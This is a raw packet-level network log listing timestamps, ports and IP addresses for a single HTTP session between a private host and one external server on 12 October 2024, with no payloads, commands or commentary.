Oct 12, 2024 13:17:31.565438032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565465927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565474987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565500975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565507889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565535069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565543890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565570116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565577030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565603971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565612078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565644979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565648079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565677881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.565710068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.565710068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.707380056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.712385893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932265997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932310104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932364941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932403088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932440996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932455063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932455063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932471037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932475090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932512045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932569027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932601929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932605028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932615995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932641983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932667017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932684898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932702065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932724953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932758093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932791948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932802916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932802916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932840109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932846069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932879925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932890892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.932934046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.932966948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933001041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933011055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933011055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933041096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933077097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933084965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933084965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933111906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933120012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933151007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933160067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933182955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933218002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933229923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933229923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933252096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933285952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933295965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933295965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933324099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933362961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933368921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933368921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933397055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933408022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933432102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933465004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933470011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933470011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933500051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933511972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933535099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933554888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933568954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933577061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933603048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933641911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933646917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933646917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933679104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933713913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933732986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933748007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933758020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933782101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933815956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933830023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933830023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933849096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933882952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933891058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933891058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933938026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933967113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.933969021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.933969021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.934097052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.056596041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056643009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056716919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.056745052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.056762934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056821108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056826115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.056853056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056885958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056911945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.056938887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056969881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.056998968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.056998968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057024002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057028055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057060957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057096004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057121992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057121992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057130098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057161093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057183981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057188988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057240009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057282925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057282925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057292938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057328939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057374001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057374001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057384014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057445049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057497025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057497025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057497025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057554007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057605028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057605982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057605982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057641983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057691097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057691097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057698965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057753086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057782888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057785988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057816982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057816982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057823896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057873011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057877064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057929039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057961941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057988882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057988882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.057996988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.057997942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058029890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058079004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058079004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058083057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058118105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058142900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058151007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058177948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058203936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058211088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058255911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058262110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058295012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058327913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058357954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058357954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058367968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058373928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058468103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058501959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058526993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058526993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058536053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058558941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058568954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058604002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058621883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058621883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058639050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058671951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058691025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058703899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058732986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058732986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058737993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058772087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058799028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058804035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058837891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058845997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058866978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058871984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058906078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058917999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058917999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058942080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058975935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.058993101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.058993101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059007883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059041977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059056997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059056997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059075117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059109926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059113979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059140921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059154987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059154987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059178114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059210062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059218884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059238911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059245110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059261084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059277058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059309959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059314013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059314013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059344053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059355974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059380054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059437037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059437037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059442997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059478045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059505939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059509039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059535980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059539080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059577942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059580088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059612989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059648991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059669018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059669018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059669018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059684992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059710026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059720993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059727907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059753895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059787989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059803009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059803009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059822083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059855938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059871912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059871912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059889078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059900999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059926033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059961081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.059971094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059971094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.059994936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060028076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060040951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060040951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060062885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060096025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060107946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060107946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060128927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060141087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060163021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060198069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.060205936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060205936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.060237885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.150767088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.150811911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.150856018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.150856018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181194067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181267977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181271076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181324005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181324959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181360960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181396008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181430101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181446075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181446075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181463957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181497097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181509972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181509972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181531906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181566000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181581020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181581020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181617975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181644917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181653976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181700945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181700945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181709051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181761980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181777954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181796074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181829929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181843996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181843996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181866884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181900978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181915998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181915998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.181953907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181987047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.181993961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182060957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182097912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182109118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182138920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182173967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182183981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182183981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182207108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:32.182248116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:32.182248116 CEST	49730	80	192.168.2.4	185.215.113.37
